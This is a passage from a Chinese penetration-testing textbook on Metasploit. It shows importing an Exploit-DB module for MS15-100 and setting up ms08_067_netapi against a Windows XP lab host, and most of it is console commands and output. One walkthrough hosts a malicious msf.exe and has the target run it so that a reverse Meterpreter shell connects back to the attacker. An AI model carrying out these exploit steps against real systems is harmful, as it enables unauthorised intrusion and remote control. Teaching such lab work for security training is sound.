一些网站提供了可以直接实施渗透攻击的模块，用户下载后并导入Metasploit中即可使用。在渗透测试代码库网站（http://www.exploit-db.com/）中，提供了大量渗透攻击模块。如果用户通过漏洞扫描获取到漏洞信息，即可在该网站查找对应的攻击模块。然后，使用该模块对目标实施攻击。下面介绍导入第三方模块的方法。
 
1．导入第三方模块
 
【实例3-9】导入第三方模块。以导入渗透攻击模块（exploit）为例，介绍其实现方法。具体操作步骤如下：
 
（1）确定下当前系统中的渗透攻击模块个数，代码如下：
 


Validate lots of vulnerabilities to demonstrate exposure

with Metasploit Pro -- Learn more on http://rapid7.com/metasploit



       =[ metasploit v5.0.1-dev                           ]

+ -- --=[ 1851 exploits - 1046 auxiliary - 321 post            ]

+ -- --=[ 541 payloads - 44 encoders - 10 nops              ]

+ -- --=[ 2 evasion                                       ]

+ -- --=[ ** This is Metasploit 5 development branch **   ]

msf5 >




 
从输出的信息中可以看到，当前系统中有1851个渗透攻击模块。接下来，用户从渗透测试代码库网站中获取第三方模块，并将其导入Metasploit中。
 
（2）在浏览器中访问http://www.exploit-db.com/网站，即可看到大量的渗透攻击模块，如图3.7所示。
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图3.7　第三方的渗透攻击模块
 
（3）从该界面可以看到，该网站提供了一些渗透攻击模块，并且都进行了分类。另外，该网站还提供了搜索功能。如果用户知道漏洞的CVE编号，可以直接在该网站搜索对应的攻击模块。而且，该网站还提供有高级搜索功能，可以通过漏洞作者、操作系统平台、攻击类型、端口等进行搜索。单击右上角的Search按钮，即可切换到搜索界面，如图3.8所示。
 
（4）从该界面可以看到漏洞搜索框，默认没有显示高级搜索选项框。用户通过单击Advanced search命令，显示高级选项搜索框。例如，搜索作者为Metasploit，目标系统平台为Windows的攻击模块，如图3.9所示。
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图3.8　搜索攻击模块
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图3.9　搜索作者为Metasploit的攻击模块
 
（5）在该界面的搜索选项框中输入对应的条件后，勾选“进行人机身份验证”前面的复选框。然后，单击SEARCH按钮，即可显示对应的搜索结果，如图3.10所示。
 
（6）从该界面显示的结果中，可以看到已成功搜索到所有的Windows平台，并且是metasploit作者的攻击模块。例如，这里选择下载并导入MS15-100攻击模块。先找到MS15-100攻击模块，然后单击[image: ]（下载）按钮，并选择保存位置，即可成功获取该攻击模块。该模块成功下载后，是一个名为38195.rb的Ruby文件，具体如下：
 


root@kali:~# cd /root/下载

root@kali:~/下载# ls

38195.rb
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图3.10　搜索结果
 
从输出的信息中，可以看到下载的渗透攻击模块。接下来，将该文件复制到Metasploit对应的模块位置，即/root/.msf4/modules。
 
（7）Metasploit默认用户的模块位置是/root/.msf4/。在该目录下有一个modules文件：
 


root@kali:~/下载# cd /root/.msf4/

root@kali:~/.msf4# ls

history  local  logos  logs  loot  modules  plugins




 
从以上输出信息中，可以看到有一个名为modules的目录。此时，用户进入modules目录中，同样可以安照模块的分类创建对应的文件夹，用来保存不同类型的模块。本例中将导入一个渗透攻击模块，所以这里将创建名为exploits的文件夹。
 


root@kali:~/.msf4# cd modules/

root@kali:~/.msf4/modules# mkdir exploits




 
执行以上命令后，将不会有任何信息输出。此时，使用cd命令切换到该文件夹中。接下来，用户可以使用mkdir再创建其他文件夹，用来保存该渗透攻击模块。之所以创建多个文件夹，也是为了方便记忆或查找模块的位置。
 


root@kali:~/.msf4/modules# cd exploits/

root@kali:~/.msf4/modules/exploits# mkdir -p windows/local




 
成功创建一个模块保存位置后，即可将下载的模块复制到该目录中了。
 
（8）将下载的模块复制到新建的文件夹中。执行命令如下：
 


root@kali:~/.msf4/modules/exploits/windows# cd local/

root@kali:~/.msf4/modules/exploits/windows/local# cp /root/下载/38195.rb 

/root/.msf4/modules/exploits/windows/local/

root@kali:~/.msf4/modules/exploits/windows/local# ls

38195.rb




 
从输出的信息中可以看到，渗透攻击模块文件38195.rb已成功复制到新建的位置。
 
（9）重新启动Metasploit，即可发现新增加了一个渗透攻击模块。具体如下：
 


Validate lots of vulnerabilities to demonstrate exposure

with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

       =[ metasploit v5.0.1-dev                           ]

+ -- --=[ 1852 exploits - 1046 auxiliary - 321 post            ]

+ -- --=[ 541 payloads - 44 encoders - 10 nops               ]

+ -- --=[ 2 evasion                                       ]

+ -- --=[ ** This is Metasploit 5 development branch **   ]

msf5 >




 
从以上显示的信息中可以看到，exploits类模块由原来的1851变为了1852。由此可以说明，模块已成功导入。
 
2．利用导入的第三方模块实施攻击
 
当用户确定已成功导入第三方模块，即可使用该模块实施渗透攻击。
 
【实例3-10】利用导入的第三方模块38195对目标主机实施渗透攻击。其中，该模块运行用户远程执行任意的MCL文件，以实现攻击。具体操作步骤如下：
 
（1）如果用户忘记该模块的位置，可以通过搜索ms15_100，来定位该渗透攻击模块的位置。执行命令如下：
 


msf5 > search ms15_100                                #搜索模块

Matching Modules

================

   Name       Disclosure Date      Rank        Check        Description

   ----   

   exploit/windows/local/38195   2015-09-08    excellent    No    MS15-100 

   Microsoft Windows Media Center MCL Vulnerability




 
（2）使用38195模块，并查看该模块的选项参数。执行命令如下：
 


msf5 > use exploit/windows/local/38195                 #使用模块

msf5 exploit(38195) > show options                     #查看模块的可配置选项

Module options (exploit/windows/local/38195):

   Name   Current Setting   Required   Description

   ----   ---------------   --------   -----------

   FILENAME    msf.mcl       yes         The MCL file

   FILE_NAME   msf.exe       no          The name of the malicious payload to 

                                           execute

   FOLDER_NAME                no             Folder name to share (Default none)

   SHARE                       no             Share (Default Random)

   SRVHOST   0.0.0.0         yes            The local host to listen on. This must 

   be an address on the local machine or 0.0.0.0

   SRVPORT    445             yes         The local port to listen on.

Exploit target:

   Id  Name

   --  ----

   0   Windows




 
以上显示了该模块的配置选项信息。从输出的信息中可以看到，必须配置的选项参数都已配置，而且目标地址为0.0.0.0，表示本地局域网中的所有主机。这里将使用默认配置，实施渗透攻击。
 
（3）启动渗透攻击。执行命令如下：
 


msf5 exploit(38195) > exploit 

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.108:4444 

msf5 exploit(38195) > [*] Server started.

[*] Malicious executable at \\192.168.1.108\mngzN\msf.exe...

[*] Creating 'msf.mcl' file ...

[+] msf.mcl stored at /root/.msf4/local/msf.mcl




 
看到以上信息，则表示成功启动了渗透攻击。当前主机正在端口4444监听，等待目标主机的连接。从输出的信息中可以看到，已创建了恶意的可执行文件msf.exe。
 
（4）此时，用户通过一些手段将msf.exe发送到任何一台主机，并执行该文件。或者，直接在目标主机的运行窗口（Windows系统）输入\\192.168.1.108\mngzN\msf.exe命令即可运行。成功执行该文件后，目标主机将与攻击主机建立一个反向Meterpreter连接。如下所示：
 


 [*] Sending stage (957487 bytes) to 192.168.1.100

[*] Meterpreter session 1 opened (192.168.1.108:4444 -> 192.168.1.100:10767) 

at 2017-05-07 14:56:57 +0800




 
从输出的信息中可以看到，目标主机192.168.1.100已成功与攻击主机建立了Meterpreter会话连接。接下来，用户即可对目标主机进行控制以及进一步实施渗透。
3.6.3　动态加载模块
 
动态加载模块是指根据需要，临时加载指定的模块。这样可以避免永久性大量加载第三方模块，造成Metasploit启动缓慢等问题。在MSF终端，提供了一些命令，用来动态加载模块。下面介绍使用这些命令动态加载模块的方法。
 
1．指定加载路径
 
loadpath命令用来从一个路径中搜索并加载第三方模块。其中，用户指定的模块类型可以是exploits（漏洞利用）、encoders（编码器）、payloads（有效载荷）等。该命令的语法格式如下：
 


loadpath [模块路径]




 
【实例3-11】指定从/home/secret/modules路径中搜索并加载模块。执行命令如下：
 


msf5 > loadpath /home/secret/modules

Loaded 0 modules:




 
看到以上输出信息，说明已从用户指定的路径中搜索模块了，但是没有找到可加载的模块。
 
2．加载模块
 
load命令用于从Metasploit的模块目录中加载一个模块。如果用户没有指定绝对路径，则首先查找用户的模块目录~/.msf4/plugins，然后查找框架的主模块目录/usr/share/metasploit-framework/plugins。其中，语法格式如下所示：
 


load [var=val var=val ...]




 
【实例3-12】使用load命令加载模块。执行命令如下：
 


msf5 > load pcap_log 

[*] PcapLog plugin loaded.

[*] Successfully loaded plugin: pcap_log




 
从输出的信息中可以看到，已成功加载了pcap_log模块。
 
3．卸载模块
 
unload命令用来卸载前面加载的模块或删除任何扩展命令。其中，语法格式如下：
 


unload [模块名]




 
【实例3-13】卸载pcap_log模块。执行命令如下：
 


msf5 > unload pcap_log 

Unloading plugin pcap_log...unloaded.




 
从输出的信息中可以看出，pcap_log模块已被卸载。
第4章　实施攻击
 
当用户将环境配置好，并且找出对应的攻击目标后，便可以对其实施攻击了。本节将介绍使用Metasploit框架中的模块实施攻击的方法。
4.1　选择模块
 
当用户准备攻击时，首先需要选择针对目标漏洞攻击的模块。在MSF终端，提供了多个命令，可以帮助用户完成模块选择工作，如搜索模块、加载模块和编辑模块等。本节将介绍选择模块的方法。
4.1.1　搜索模块
 
Metasploit框架的强大之处就是提供了大量的模块。通常情况下，记住所有模块的位置或名称显然是不可能的。所以为了弥补这个缺点，这里提供了一个搜索模块命令——search。用户还可以使用grep命令对搜索结果进行过滤。下面介绍搜索模块及过滤的方法。
 
1．search命令
 
search命令主要用来搜索一些用户想知道的模块。该命令可以指定一些关键字，来缩小搜索模块范围。search命令支持的关键字及含义如表4.1所示。
 
表4.1　search命令支持的关键字
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【实例4-1】通过name关键字搜索模块。执行命令如下：
 


msf5 > search name:mysql

Matching Modules

================

   Name    Disclosure

Date    Rank    Check    Description

   ----    ---------    ----    -----    ------------

   auxiliary/admin/

mysql/mysql_enum        normal    No    MySQL Enumeration

 Module

   auxiliary/admin/

mysql/mysql_sql        normal    No    MySQL SQL Generic Query

   auxiliary/analyze/

jtr_mysql_fast        normal    No    John the Ripper MySQL 

Password Cracker (Fast Mode)

   auxiliary/scanner/mysql/

mysql_authbypass_hashdump    2012-06-0    normal    Yes    MySQL Authentication

Bypass Password Dump

   auxiliary/scanner/

mysql/mysql_file_enum        normal    Yes    MYSQL File/Directory

Enumerator

   auxiliary/scanner/

mysql/mysql_hashdump        normal        

   auxiliary/scanner/

mysql/mysql_login        normal    Yes    MySQL Login Utility

   auxiliary/scanner/

mysql/mysql_schemadump        normal    Yes    MYSQL Schema Dump

   auxiliary/scanner/

mysql/mysql_version        normal    Yes    MySQL Server Version

Enumeration

   auxiliary/scanner/

mysql/mysql_writable_dirs        normal    Yes    MYSQL Directory

Write Test

   auxiliary/server/

capture/mysql        normal    No    Authentication

Capture: MySQL

   exploit/linux/mysql/

mysql_yassl_getname    2010-01-25    good    No    MySQL yaSSL CertDecoder::

GetName Buffer Overflow

   exploit/linux/mysql/

mysql_yassl_hello    2008-01-04    good    No    MySQL yaSSL SSL Hello 

Message Buffer Overflow

   exploit/multi/mysql/

mysql_udf_payload    2009-01-16    excellent    No    Oracle MySQL UDF Payload

Execution

   exploit/windows/

mysql/mysql_mof    2012-12-01    excellent    Yes    Oracle MySQL for Microsoft

Windows MOF Execution

   exploit/windows/

mysql/mysql_start_up    2012-12-01    excellent    Yes    Oracle MySQL for Microsoft

Windows FILE Privilege Abuse

   exploit/windows/mysql/

mysql_yassl_hello    2008-01-04     average    No    MySQL yaSSL SSL Hello 

Message Buffer Overflow

   exploit/windows/mysql/

scrutinizer_upload_exec    2012-07-27    excellent    Yes    Plixer Scrutinizer

NetFlow and sFlow Analyzer

9 Default MySQL Credential

msf5 >




 
从输出的信息可以看到匹配名称为MySQL的所有模块。
 
【实例4-2】通过运行平台进行模块搜索。例如，搜索运行在aix平台上的模块。执行命令如下：
 


msf5 > search platform:aix

Matching Modules

================

   Name           Disclosure Date     Rank    Check    Description

   ----           ---------------     ----    -----    ------------

   exploit/aix/local/ibstat_path   2013-09-24  excellent     Yes     ibstat 

   $PATH Privilege Escalation

   exploit/aix/rpc_cmsd_opcode21    2009-10-07   great       No     AIX Calendar 

   Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow

   exploit/aix/rpc_ttdbserverd_realpath        2009-06-17      great       No 

   ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)

   payload/aix/ppc/shell_bind_tcp         normal  No     AIX Command Shell, 

   Bind TCP Inline

   payload/aix/ppc/shell_find_port        normal          No      AIX Command Shell, 

   Find Port Inline

   payload/aix/ppc/shell_interact         normal      No      AIX execve Shell 

   for inetd

   payload/aix/ppc/shell_reverse_tcp     normal      No     AIX Command Shell, 

   Reverse TCP Inline

   post/aix/hashdump                        normal      No      AIX Gather Dump 

   Password Hashes

   post/multi/manage/sudo                  normal         No      Multiple Linux / 

   Unix Post Sudo Upgrade Shell

   post/multi/recon/local_exploit_suggester    normal      No     Multi Recon 

   Local Exploit Suggester




 
从输出的信息中可以看到搜索到的匹配模块。
 
2．过滤结果
 
当用户使用search命令搜索出的结果较多时，还可以结合grep命令进行过滤。这里的grep命令和Linux命令行中的grep类似。其语法格式如下：
 


grep [选项] pattern cmd




 
grep命令支持的选项及含义如下：
 
·-A<opt>：显示一个匹配输出后的行。

·-B<opt>：显示一个匹配输出前的行。

·-c：仅显示一组匹配行。

·-h：显示帮助信息。

·-i：忽略实例。

·-k<opt>：保留输出开始的行。

·-m<opt>：匹配一个结果后停止。

·-s<opt>：跳过尝试匹配前的输出结果。

·-v：反向匹配。
 
【实例4-3】搜索名称中包含oracle的模块，并过滤HTTP类型的模块。执行命令如下：
 


msf5 > grep http search oracle

   auxiliary/scanner/http/glassfish_traversal   2015-08-08    normal     Yes

   Path Traversal in Oracle GlassFish Server Open Source Edition

   auxiliary/scanner/http/oracle_demantra_database_credentials_leak2014-

   02-28    normal     Yes    Oracle Demantra Database Credentials Leak

   auxiliary/scanner/http/oracle_demantra_file_retrieval   2014-02-28 

   normal     Yes    Oracle Demantra Arbitrary File Retrieval with 

   Authentication Bypass

   auxiliary/scanner/http/oracle_ilom_login    normal     Yes    Oracle ILO 

   Manager Login Brute Force Utility

   exploit/multi/http/glassfish_deployer   2011-08-04  excellent  No   Sun/

   Oracle GlassFish Server Authenticated Code Execution

   exploit/multi/http/oracle_ats_file_upload  2016-01-20   excellent  Yes

   Oracle ATS Arbitrary File Upload

   exploit/multi/http/oracle_reports_rce  2014-01-15      great  Yes  Oracle 

   Forms and Reports Remote Code Execution

   exploit/multi/http/oracle_weblogic_wsat_deserialization_rce 2017-10-19

    excellent No  Oracle WebLogic wls-wsat Component Deserialization RCE

   exploit/windows/http/apache_chunked   2002-06-19   good   Yes    Apache 

   Win32 Chunked Encoding

   exploit/windows/http/bea_weblogic_post_bof   2008-07-17   great   Yes

   Oracle Weblogic Apache Connector POST Request Buffer Overflow

   exploit/windows/http/oracle9i_xdb_pass   2003-08-18   great   Yes   Oracle 

   9i XDB HTTP PASS Overflow (win32)

   exploit/windows/http/oracle_beehive_evaluation   2010-06-09   excellent

   Yes    Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability

   exploit/windows/http/oracle_beehive_prepareaudiotoplay   2015-11-10  

   excellent    Yes    Oracle BeeHive 2 voice-servlet prepareAudioToPlay() 

   Arbitrary File Upload

   exploit/windows/http/oracle_btm_writetofile  2012-08-07   xcellent  No

   Oracle Business Transaction Management FlashTunnelService Remote Code 

   Execution

   exploit/windows/http/oracle_endeca_exec    2013-07-16   excellent    Yes 

   Oracle Endeca Server Remote Command Execution

   exploit/windows/http/oracle_event_processing_upload    2014-04-21  

   excellent  Yes    Oracle Event Processing FileUploadServlet Arbitrary 

   File  Upload

   exploit/windows/http/osb_uname_jlist   2010-07-13   excellent   No

   Oracle Secure Backup Authentication Bypass/Command Injection 

   Vulnerability




 
从输出的信息中可以看到过滤出的结果。
4.1.2　加载模块
 
渗透攻击模块是指Metasploit框架中所使用的一段软件代码组件。在实施渗透攻击时，需要先选择用于渗透攻击的模块。有时候可能需要使用一个辅助模块（auxiliary module），该模块用来执行一些扫描或系统检查的攻击动作。下面介绍选择渗透攻击模块的方法。
 
【实例4-4】选择渗透攻击模块。具体操作步骤如下：
 
（1）登录MSF终端。执行命令如下：
 


root@daxueba:~# msfconsole

msf5 > 




 
（2）在选择渗透攻击模块之前，用户可以使用show命令查看可利用的渗透攻击模块。执行命令如下：
 


msf5 > show exploits 




 
执行以上命令行后，将输出大量的信息，具体如下：
 


Exploits

========

   Name         Disclosure Date      Rank     Check  Description

   -----        ---------------     -----    -------------------

   aix/local/ibstat_path             2013-09-24    excellent     Yes  ibstat 

   $PATH Privilege Escalation

   aix/rpc_cmsd_opcode21             2009-10-07   great         No     AIX 

   Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow

   aix/rpc_ttdbserverd_realpath     2009-06-17   great         No      

   ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)

   android/adb/adb_server_exec      2016-01-01    excellent    Yes     

   Android ADB Debug Server Remote Payload Execution

…

   windows/vnc/ultravnc_viewer_bof 2008-02-06    normal           No     

   UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow

   windows/vnc/winvnc_http_get      2001-01-29    average       No    WinVNC 

   Web Server GET Overflow

   windows/vpn/safenet_ike_11       2009-06-01    average      No    SafeNet 

   SoftRemote IKE Service Buffer Overflow

   windows/winrm/winrm_script_exec 2012-11-01     manual          No     WinRM 

   Script Exec Remote Code Execution

   windows/wins/ms04_045_wins       2004-12-14 great           Yes    

   MS04-045 Microsoft WINS Service Memory Overwrite




 
从输出的信息中可以看到所有可利用的渗透攻击模块。以上输出的信息较多，限于篇幅，部分内容省略了。如果用户对目标主机的操作系统类型、架构及漏洞已经有充分的了解，可以选择相应的模块进行攻击测试。
 
（3）此时，用户可根据目标主机的漏洞来选择对应的攻击模块。本例中选择Windows XP SP1作为攻击靶机。在该目标主机中存在MS08_067（Windows Server服务RPC请求缓冲区溢出）漏洞，IP地址为192.168.1.104。因此，这里选择可用来渗透攻击MS08_067漏洞的攻击模块ms08_067_netapi。其语法格式如下：
 


use [模块名称]




 
所以，执行命令如下：
 


msf5 > use exploit/windows/smb/ms08_067_netapi 

msf5 exploit(ms08_067_netapi) >




 
从输出信息的提示符中可以看出，目前处在ms08_067_netapi模块下。
4.1.3　编辑模块
 
如果模块和现有目标不匹配，还可以编辑模块，修改其代码。MSF终端提供了一个edit命令，借助VIM编辑器来编辑当前模块。默认情况下，执行该命令后，将打开当前模块的编辑界面。下面介绍编辑模块的方法。
 
【实例4-5】使用edit命令编辑模块。执行命令如下：
 


msf5 exploit(windows/smb/ms08_067_netapi) > edit 




 
执行以上命令后，显示ms08_067_netapi模块的编辑界面，如图4.1所示。
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图4.1　编辑模块
 
此时就可以对该脚本中的内容进行编辑了。修改完成后，保存并退出即可。退出模块的编辑界面后，将显示如下信息：
 


[!] LocalEditor or $VISUAL/$EDITOR should be set. Falling back on vim.

[*] Launching vim /usr/share/metasploit-framework/modules/exploits/

windows/smb/ms08_067_netapi.rb




 
从输出的信息中可以看到，执行edit命令相当于执行了vim/usr/share/metasploit-framework/modules/exploits/windows/smb/ms08_067_netapi.rb命令，即s08_067_netapi.rb脚本的编辑界面。
4.1.4　退出当前模块
 
当用户使用一个特定模块完成工作后，或者选择了错误模块，则可以使用back命令退出当前模块。例如，退出当前模块ms08_067_netapi。执行命令如下：
 


msf5 exploit(windows/smb/ms08_067_netapi) > back

msf5 >




 
从显示的命令行提示符可以看到，ms08_067_netapi模块已成功退出。
4.2　设置模块
 
每个模块都提供有对应的配置选项，如设置目标地址、端口和线程数等。通常情况下，一些配置项可以使用默认设置，但是一些配置项是必须配置的。本节介绍设置模块的方法。
4.2.1　设置模块选项
 
渗透攻击选项是指设置模块的可配置选项参数。当用户选择某模块后，往往需要为该模块下的一些选项参数进行配置后才可以使用。后面的所有操作将以ms08_067_netapi模块为例进行操作。下面介绍设置渗透攻击选项的方法。
 
【实例4-6】设置渗透攻击选项。具体操作方法如下：
 
（1）查看渗透攻击选项。通常用户使用一个新的模块后，并不确定该模块都有哪些可设置选项，因此可以先查看有哪些渗透攻击选项。执行命令如下：
 


msf5 exploit(ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):        #模块选项

   Name     Current Setting    Required    Description

   -----    ---------------   --------     -------------

   RHOSTS               yes       The target address range or CIDR identifier

   RPORT    445         yes       The SMB service port （TCP）

   SMBPIPE  BROWSER    yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:                                                #可利用目标

   Id  Name

   --  ----------------------------

   0   Automatic Targeting




 
从输出的信息中可以看到，ms08_067_netapi模块下有3个可配置的选项。这3个选项分别表示目标主机的地址（RHOST）、目标服务端口（RPORT）和使用的管道名称（SMBPIPE）。输出的信息中共显示了4列信息，分别表示选项名称（Name）、当前设置（Current Setting）、要求（Required）和描述（Description）。如果Required列值是yes时，表示该选项必须设置；如果为no时，表示非必须设置选项。
 
（2）从Required列可以看到，ms08_067_netapi模块的3个选项都必须配置选项参数。其中，默认已经设置了RPORT和SMBPIPE选项，所以这里还需要设置RHOST选项。配置选项的语法格式如下：
 


set [选项] [值]




 
本例中目标主机的IP地址为192.168.1.104。执行命令如下：
 


msf5 exploit(ms08_067_netapi) > set RHOSTS 192.168.1.104

RHOST => 192.168.1.104




 
从输出的信息中可以看到，已设置RHOST为192.168.1.104。为了确定设置的结果，可以再次使用show options命令查看。执行命令如下：
 


msf5 exploit(ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting    Required    Description

   -----    ---------------   ---------   -------------

   RHOSTS   192.168.1.104    yes    The target address range or CIDR 

   identifier

   RPORT    445                yes    The SMB service port (TCP)

   SMBPIPE  BROWSER           yes    The pipe name to use (BROWSER, SRVSVC)

   Exploit target:

   Id  Name

   --  ------------------------------

   0   Automatic Targeting




 
从显示的结果中可以看到，RHOST选项值已设置为192.168.1.104。
4.2.2　重置选项
 
当用户配置（使用set命令）错误或者需要重新配置模块选项时，可以使用unset命令来重置之前的配置。如果想要重置所有配置，则可以使用unset all命令来实现。下面介绍重置选项的方法。
 
【实例4-7】重置模块配置选项。具体操作如下：
 
（1）使用set命令做一个全局配置。具体如下：
 


msf5 > set RHOSTS 192.168.1.0/24

RHOSTS => 192.168.1.0/24

msf5 > set THREADS 50

THREADS => 50

msf5 > set

Global

======

  Name     Value

  -------------- ---------------------

  RHOSTS   192.168.1.0/24

  THREADS  50




 
从输出的信息中可以看到，这里配置了两个全局选项，分别是RHOSTS（目标主机）和THREADS（线程）。如果用户想要重置某个选项，可以使用unset命令实现。
 
（2）重置THREADS选项。执行命令如下：
 


msf5 > unset THREADS

Unsetting THREADS...




 
从输出的信息中可以看到，正在重置THREADS配置选项。如果想要重置所有配置选项，则执行命令如下：
 


msf5 > unset all                                        #重置所有配置

Flushing datastore...

msf5 > set                                            #查看配置项

Global

======

No entries in data store.

msf5 >




 
从输出的结果中可以看到，目前没有任何的全局配置项。
4.2.3　设置全局选项
 
为了保存渗透测试期间大量的输入，可以使用setg命令来设置一个全局变量。一旦设置完成，就可以将它们使用在exploits和auxiliary模块中。为了方便下一次使用，还可以保存配置。如果不想要设置的全局选项时，可以使用unsetg命令取消全局变量。下面介绍设置全局选项的方法。
 
【实例4-8】设置全局选项。例如，这里定义3个全局变量，具体如下：
 


msf5 > setg LHOST 192.168.1.101                        #设置本地主机地址

LHOST => 192.168.1.101

msf5 > setg RHOSTS 192.168.1.0/24                    #设置目标主机范围

RHOSTS => 192.168.1.0/24

msf5 > setg RHOST 192.168.1.136                        #设置目标主机地址

RHOST => 192.168.1.136




 
此时，定义的3个全局变量就设置好了。如果想要保存该配置，可以使用save命令。具体如下：
 


msf5 > save

Saved configuration to: /root/.msf4/config




 
从输出的信息中可以看到，已成功将以上配置保存到/root/.msf4/config文件中。
4.3　选择目标类型
 
大部分的渗透攻击模块可以用来攻击多种目标。为了加快渗透测试，可以根据自己的靶机来选择目标类型。当然，也可以不设置目标类型，Metasploit攻击模块将会自动探测靶机的类型。下面介绍选择目标类型的方法。
 
细心的读者会发现，在前面介绍查看ms08_067_netapi模块的配置选项时，在输出的结果中显示了Module options（模块选项）和Exploit target（可利用目标）两部分内容。具体如下：
 


msf5 exploit(ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting   Required    Description

   -----    ---------------  ---------   -------------

   RHOSTS 192.168.1.104  yes       The target address range or CIDR identifier

   RPORT    445            yes       The SMB service port (TCP)

   SMBPIPE  BROWSER       yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name

   --  ---------------------------

   0   Automatic Targeting




 
前面已经介绍过Module options部分的内容，这里将介绍Exploit target部分的内容。从以上显示的信息中可以看到，在Exploit target部分包括Id（目标编号）和Name（目标名称）两列信息。此时，还没有设置目标类型，所以默认选择的目标编号为0，为自动探测目标。
 
【实例4-9】选择目标类型。具体操作步骤如下：
 
（1）查看ms08_067_netapi模块可利用的目标。执行命令如下：
 


msf5 exploit(ms08_067_netapi) > show targets 

Exploit targets:

   Id  Name

   --  ----

   0   Automatic Targeting

   1   Windows 2000 Universal

   2   Windows XP SP0/SP1 Universal

   3   Windows 2003 SP0 Universal

   4   Windows XP SP2 English (AlwaysOn NX)

   5   Windows XP SP2 English (NX)

   6   Windows XP SP3 English (AlwaysOn NX)

   7   Windows XP SP3 English (NX)

   8   Windows XP SP2 Arabic (NX)

   9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)

   10  Windows XP SP2 Chinese - Simplified (NX)

   11  Windows XP SP2 Chinese - Traditional (NX)

   12  Windows XP SP2 Czech (NX)

   13  Windows XP SP2 Danish (NX)

   14  Windows XP SP2 German (NX)

   15  Windows XP SP2 Greek (NX)

   16  Windows XP SP2 Spanish (NX)

   17  Windows XP SP2 Finnish (NX)

   18  Windows XP SP2 French (NX)

   19  Windows XP SP2 Hebrew (NX)

   20  Windows XP SP2 Hungarian (NX)

   21  Windows XP SP2 Italian (NX)

   22  Windows XP SP2 Japanese (NX)

   23  Windows XP SP2 Korean (NX)

   24  Windows XP SP2 Dutch (NX)

...

   63  Windows 2003 SP2 English (NO NX)

   64  Windows 2003 SP2 English (NX)

   65  Windows 2003 SP2 German (NO NX)

   66  Windows 2003 SP2 German (NX)

   67  Windows 2003 SP2 Portuguese - Brazilian (NX)

   68  Windows 2003 SP2 Spanish (NO NX)

   69  Windows 2003 SP2 Spanish (NX)

   70  Windows 2003 SP2 Japanese (NO NX)

   71  Windows 2003 SP2 French (NO NX)

   72  Windows 2003 SP2 French (NX)




 
从输出的信息中可以看到，共有72种目标类型可以选择。限于篇幅，部分内容省略了。此时，可以根据自己的目标系统类型来进行设置。
 
（2）本例中的目标系统类型为Windows XP SP1，所以选择编号为2的目标类型。设置目标类型的语法如下：
 


set target [目标编号]




 
本例中将执行的命令如下：
 


msf5 exploit(ms08_067_netapi) > set target 2

target => 2




 
通过show options命令查看设置的目标类型。显示结果如下：
 


msf5 exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

…

Exploit target:

   Id  Name

   --  ------------------------------------------------

   2   Windows XP SP0/SP1 Universal




 
从输出的结果中可以看到，当前的目标类型已设置为Windows XP SP0/SP1 Universal，并且Id号为2。在Metasploit下，还可以设置高级选项。不过在一般情况下，不需要设置高级选项。如果想要查看可设置的高级选项，可执行如下命令：
 


msf5 exploit(ms08_067_netapi) > show advanced

Module advanced options (exploit/windows/smb/ms08_067_netapi):

   Name       Current Setting    Required      Description

   ------    ----------------   ---------    -------------

   CHOST                            no            The local client address

   CPORT                            no            The local client port

   ConnectTimeout          10       yes         Maximum number of seconds to 

   establish a TCP connection

   ContextInformationFile          no          The information file that 

   contains context information

   DCERPC::ReadTimeout    10       yes         The number of seconds to wait 

   for DCERPC responses

   DisablePayloadHandler  false   no          Disable the handler code for the 

   selected payload

   EnableContextEncoding  false   no          Use transient context when 

   encoding payloads

   NTLM::SendLM             true    yes         Always send the LANMAN response 

   (except when NTLMv2_session is specified)

   NTLM::SendNTLM         true     yes       Activate the 'Negotiate NTLM key' 

   flag, indicating the use of NTLM responses

   NTLM::SendSPN           true     yes        Send an avp of type SPN in the 

   ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 

   R2+ when SPN is required

   NTLM::UseLMKey          false    yes        Activate the 'Negotiate Lan 

   Manager Key' flag, using the LM key when the LM response is sent

…

   SMBDirect                true      no        The target port is a raw SMB 

   service (not NetBIOS)

   SMBDomain               .           no         The Windows domain to use for 

   authentication

   SMBName             *SMBSERVER    yes        The NetBIOS hostname (required 

   for port 139 connections)

   SMBPass                              no        The password for the specified 

   username

   SMBUser                              no        The username to authenticate as

   SSL                       false      no        Negotiate SSL/TLS for outgoing 

   connections

   SSLCipher                            no        String for SSL cipher – 

   "DHE-RSA-AES256-SHA" or "ADH"

   SSLVerifyMode           PEER        no        SSL verification method 

   (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)

   SSLVersion               Auto       yes       Specify the version of 

   SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: 

   Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)

   VERBOSE                false         no        Enable detailed status 

   messages

   WORKSPACE                             no        Specify the workspace for 

   this module

   WfsDelay                 0            no        Additional delay when waiting 

   for a session




 
以上输出信息中显示了在ms08_067_netapi模块中可设置的高级选项参数。在以上信息中，每个选项的作用都有相应的描述信息。
4.4　选择攻击载荷
 
攻击载荷是用户希望目标系统在被渗透攻击之后去执行的代码。在Metasploit框架中，可以自由地选择、传送和植入载荷。例如，反弹式Shell是一种从目标主机到攻击主机创建网络连接，并提供命令进行Shell的攻击载荷。而Bind Shell攻击载荷则在目标主机上将命令行Shell绑定到一个打开的监听端口，攻击者可以连接这些端口来取得Shell交互。攻击载荷也可能是简单地在目标操作系统上执行一些命令，如添加账号等。下面介绍选择攻击载荷的方法。
4.4.1　查看攻击载荷
 
